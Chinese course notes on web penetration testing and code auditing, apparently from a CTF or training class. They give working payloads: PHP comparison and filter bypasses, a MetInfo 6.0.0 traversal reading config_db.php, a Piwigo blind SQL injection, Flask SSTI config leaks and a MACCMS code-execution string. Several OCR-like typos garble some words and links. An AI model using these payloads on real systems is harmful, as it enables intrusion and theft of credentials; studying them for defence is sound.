1、ASP环境搭建组合
2、ASP-数据库下载&植入
3、IIS-短文件&解析&写权限
WEB安全攻防:
1、Weo源码
2、开发语言
3、中间件平台
4、数据库类型
4、第三方插件或软件
常用组合:windows+ISS+ASP+Access(sqlserver)
原理:access数据库一般后缀名mdb(下载)asp asa(可以被执行)
mdb文件他在网站目录下默认数据库配置(database/powereay2006.mdb)或者通过扫描目录得到
思路:如果我们知道这个数据库的地址,尝试可以下载获取数据库文件,获取当前管理员帐号密码信息
参考链接:https://blog.csdn.net/song123sh/article/details/123539837
1、,NEr配置调试-信息泄露
2、.NET源码反编译-DLL反编译
3、.NET常见安全问题-未授权访问
#判断用户的身份:
由于后台本身有多个功能文件页面
1、在每个文件里面添加判断代码
2、创建一个文件专门用来判断,其他文件包含调用它
#找未授权访问:
1、找那些文件没有包含验证代码文件
2、验证代码文件有没有可以绕过
在服务器上运行网站,远程访问该网站时候,提示webconfig文件的配置无法显示程序中具体的错误信息,原因是没有将标记的“mode”属性设置为“off”,网上查询标记的详细信息如下:
节点用于定义一些自定义错误信息的信息。此节点有Mode和defaultRedirect两个属性,其中defaultRedirect属性是一个可选属性,表示应用程序发生错误时重定向到的默认URL,如果没有指定该属性则显示一般性错误。Mode属性是一个必选属性,它有三个可能值,它们所代表的意义分别如下:
Mode 说明 On 表示在本地和远程用户都会看到自定义错误信息。 Off 禁用自定义错误信息,本地和远程用户都会看到详细的错误信息。
RemoteOnly 表示本地用户将看到详细错误信息,而远程用户将会看到自定义错误信息。
这里有必要说明一下本地用户和远程用户的概念。当我们访问asp.net应用程时所使用的机器和发布asp.net应用程序所使用的机器为同一台机器时成为本地用户,反之则称之为远程用户。在开发调试阶段为了便于查找错误Mode属性建议设置为Off,而在部署阶段应将Mode属性设置为On或者RemoteOnly,以避免这些详细的错误信息暴露了程序代码细节从而引来黑客的入侵
.NET项目-身份验证未授权访问安全漏洞
流程:在未登录状态通过修改URL访问需登录的地址跳转到登录界面–白盒测试找到验证登录的代码(找到未授权访问文件代码–寻找包含代码–逐一审查–找到登录代码)–发现代码可通过抓包修改cookie信息绕过–造成未授权访问
#知识点:
1、过滤函致缺陷绕过
2、CTF考点与代码审计
#详细点:
= =与=== ==弱类型对比 ===强类型对比
md5 在PHP中md5不能用来处理数组,处理结果会返回null 所以存在MD5【1】=null=null
intval intval() 函数用于获取变量的整数值。
strpos strpos() f函数查找字符串在另一字符串中第一次出现的位置(区分大小写)。
in_array in_array() 函数搜索数组中是否存在指定的值。其中第三个参数若不设置为TURE则相当于弱类型判断
preg_match preg_match 函数用于执行一个正则表达式匹配。可通过数组绕过
str_replace str_replace() 函数替换字符串中的一些字符(区分大小写),不可迭代
header("Content-Type:text/html;charset=utf-8");
$flag='xiaodi ai chi xigua!';
//1、== ===缺陷绕过 == 弱类型对比 ===还会比较类型
$a=1;
if($a==$_GET['x']){
echo $flag;
}
//1.0 +1 1a
$a='1';
if($a===$_GET['y']){
echo $flag;
}
//1.0 +1等
//2、MD5函数缺陷绕过 ==弱对比 ===强类型对比
if($_GET['name'] != $_GET['password']){
if(MD5($_GET['name']) == MD5($_GET['password'])){
echo $flag;
}
echo '?';
}
//==
//echo MD5('QNKCDZO');
//echo MD5('240610708');
//===
//name[]=1&password[]=2
//3、intval缺陷绕过
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i)){
echo $flag;
}
// 666.0 +666
$i='666';
$ii=$_GET['n'];
if(intval($ii==$i,0)){
echo $flag;
}
//0x29a
//4、对于strpos()函数,我们可以利用换行进行绕过(%0a)
$i='666';
$ii=$_GET['h'];
if(strpos($ii==$i,"0")){
echo $flag;
}
//?num=%0a666
//5、in_array第三个参数安全
$whitelist = [1,2,3];
$page=$_GET['i'];
if (in_array($page, $whitelist)) {
echo "yes";
}
//?i=1ex
//6、preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
if(isset($_GET['num'])){
$num = $_GET['num'];
if(preg_match("/[0-9]/", $num)){
die("no no no!");
}
if(intval($num)){
echo $flag;
}
}
//?num[]=1
//7、str_replace无法迭代过滤
$sql=$_GET['s'];
$sql=str_replace('select','',$sql);
echo $sql;
//?s=sselectelect
?>
原理-缺陷函数-使用讲解-本地
实践-CTFShow-PHP特性-89关卡
此处通过preg_match遍历过滤数字0-9,又通过intval取整数才能返回flag,通过数组绕过preg_match,传参为num[]=1
此处先通过三等于强类型过滤4476,又通过intval取整数,但是intval第二个参数表可以使用其他进制进行传参,所以可以将4476转换成16进制或8进制,例如:0x117c为16进制,010574为8进制
先匹配参数中需要含有php,同时需要换行,再匹配参数中含有php不能换行。
文件名绕过
MD5判断 双等于可以使用0e 三等于必须用数组 a[]=1&b[]=2
实践-代码审计-过滤缺陷文件读取
漏洞点在:MetInfo6.0.0/include/thumb.php?dir=
漏洞代码文件位置:MetInfo6.0.0\app\system\include\module\old_thumb.class.php
有两次过滤,第一次把路径中…/、./进行过滤,第二次路径中需要有http和不能存在./,
$dir = str_replace(array('../','./'), '', $_GET['dir']);
if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}
可以使用双写进行绕过
http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=…///http…///config\config_db.php
经过过滤后变成了 http://127.0.0.1/MetInfo6.0.0/include/thumb.php?dir=…/http…/config\config_db.php
拓展链接:https://blog.csdn.net/m0_63241485/article/details/126580849
开源相册piwigo sql注入漏洞
原理:漏洞的分析看起来比较简单,是由于functions_rate.inc.php文件中的rate_picture函数没有对传入的$rate变量进行过滤,直接拼接到SQL中执行:代码如下
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);
return update_rating_score($image_id);
}
$query = '
INSERT
INTO '.RATE_TABLE.'
(user_id,anonymous_id,element_id,rate,date)
VALUES
('
.$user['id'].','
.'\''.$anonymous_id.'\','
.$image_id.','
.$rate
.',NOW())
;';
pwg_query($query);
return update_rating_score($image_id);
}
判断 r a t e 是否是 rate是否是 rate是否是conf[‘rate_items’]的项。而后面这个数组的值是配置文件里写死的。
看起来这句的功能是设置了一个rate变量的白名单。只能是0,1,2,3,4,5其中之一。这样子应该很安全才对。当然事实证明这样子写是不安全的。当 r a t e = " 5 ′ a a a a a a a a a a a a a a a a a " 时, i n a r r a y ( rate = "5'aaaaaaaaaaaaaaaaa "时,in_array( rate="5′aaaaaaaaaaaaaaaaa"时,inarray(rate, $conf[‘rate_items’]) 这个判断是返回True的。这是php里不同类型变量比较时候的一个特性。只要rate为array(0,1,2,3,4,5)便可以进行绕过,而in_array第三位未设置为true
1,1 and if(ascii(substr((select database()),1,1))=112,1,sleep(3)));#
简言之:当字符串跟整型变量使用"=="比较的时候,会将字符串转换成整型,再进行比较。
参考链接:https://zhuanlan.zhihu.com/p/142848933?utm_id=0
1、JavaWeb常见安全及代码逻辑(通过抓包找到网站页面对应的文件地址以及功能代码)
2、目录遍历&身份验证&逻辑&JWT
3、访问控制&安全组件&越权&三方组件
JavaWeb-WebGoat8靶场搭建使用
搭建:下载jar包–使用java -jar webgoat-server-8.0.0.M26.jar --server.port=9091 开启–浏览器访问127.0.0.1:9091/WebGoat/login.html 即可
详细搭建步骤见:https://blog.csdn.net/weixin_50012220/article/details/119209336
安全问题-目录遍历&身份认证-JWT攻击
1、上传文件时的目录遍历
通过上传回显和目标路径比较发现需要将文件上传到上一级目录–使用burp改包–…/text
双写绕过
#身份认证
键值逻辑:使用键名键值进行对比验证错误
-JWT攻击:1、签名没验证空加密2、爆破密匙3、KID利用
https://www.cnblogs.com/vege/p/14468030.html
此处因为赋值是写死的,而不是带入数据库中查询,所以可以通过修改键名称绕过(s2=null and s3=null 为真)
#访问控制
隐藏属性:前端页面的自慰限制显示
水平越权:同一级别用户权限的查看
安全问题-访问控制&安全组件第三方组件
#安全组件
联想到刚爆出的Log4j2
#环境下载:
https://github.com/WebGoat/WebGoat
1、原生JS开发框架-安全条件
2、常见安全问题-前端验证:未授权
#详细点:
1、什么是Js渗透测试?
在Javascript中也存在变量和函数,当存在可控变量及函数调用即可参数漏洞
JS开发的WEB应用和PHP,JAVA,NET等区别在于即没有源代码,也可以通过浏览器的查看
源代码获取真实的点。所以相当于JS开发的NEB应用属于白盒测试(默认有源码参考)
3、如何判定s开发应用?1
插件wappalyzer
源代码简短
引入多个文件
一股有/stat1c/js/app.js等顺序的j文件
cookie中有connect.sid
4、如何获取更多的J$文件?
JsFinder
Packer-Fuzzer
扫描器后缀替换字典
5、如何快速获取价值代码?
method:“get”
http.get("
method:“post”
安全条件可控变量&特定函数
开发框架-Vulhub-Node.JS安全
搭建vulhub靶场 存在任意文件读取漏洞–可读取服务器用户密码
真实应用-APP应用直接重置密码
期货APP通过修改前端JS验证码绕过验证码认证、未授权访问
真实应用-违法彩彩文件上传安全
1、PYC文件反编译
2、Python-web-ssrr
3、SSr1模版注入利用分析
PY反编译-PYC编译文件反编译源码
SST1入门-原理&分类&检测&分析&利用
SsTi考点-CTF靶场-WestemnCTF日shrine
SST1考点-CMS源码-MACCMS V8.X执行
PY反编译-PYC编译文件反编译源码
#Pyc文件是py文件编译后生成的字节码文件(byte code),Pyc文件经过pythonf解释器
最终会生成机器码运行,因此pyc文件是可以跨平台部署的,类似Java的。c1a3文件,
一股如y文件改变后,都会重新生成中yc文件。
真题附件:http://pan.ba1du.com/s/1jGgB8Ds
反编译平台:
https://tool.lu/pyc/
http://tools.bugscaner.com/decompyle/
反编译工具:https://g1thub.com/w1b1t1/uncompy1e2
#SSTI入门-原理&分类&检测&分析&利用
1、什么是SSTI?有什么漏司危害?
漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为Web应用模
板内容的一部分,模板引擎在进行目标编泽這染的过程中,执行了用户播入的可以破怀模
板的语句,因而可影导数了散感信息泄露、代码执行、GetShe11等问题。其影响范围主
要取决于模版引擎的复杂性。
2、如何判断检测SSTI漏河的存在?
输入的数据会被浏览器利用当前脚本语言调用解析执行
3、SSTI会产生在那些语言开发应用?
-见上图
4、SSTI安全问题在生产环境那里产生?
存在模版引用的地方,如404错误页面展示
存在数据接收引用的地方,如模版解析获取参数数据
https://blog.csdn.net/houyanhua1/article/details/85470175
url_for()函数是用于构建操作指定函数的URL
get_flashed_messages()函数是获取传递过来的数据
/shrine/{{url_for.globals}}
/shrine/{{url_for.globals[‘current_app’].config}}
/shrine/{{url_for.globals}}
/shrine/{{get_flashed_messages.globals[‘current_app’].config}}
/shrine/{{url_for.globals[‘current_app’].config}}
/shrine/{{get_flashed_messages.globals[‘current_app’].config}}
#SSTI考点-CMs源码-MACCMS V8.X执行
Payload:index.php?m=vod-searchswd=(if-dddd:phpinfo()](endif-dddd
1、根据传递的代码找指向文件
2.index->vod->tpl->ifex->eval
3、构适Payload带入ifex并绕过后执行
实战中一般通过白盒审计代码明确变量,黑盒测试中很难发现。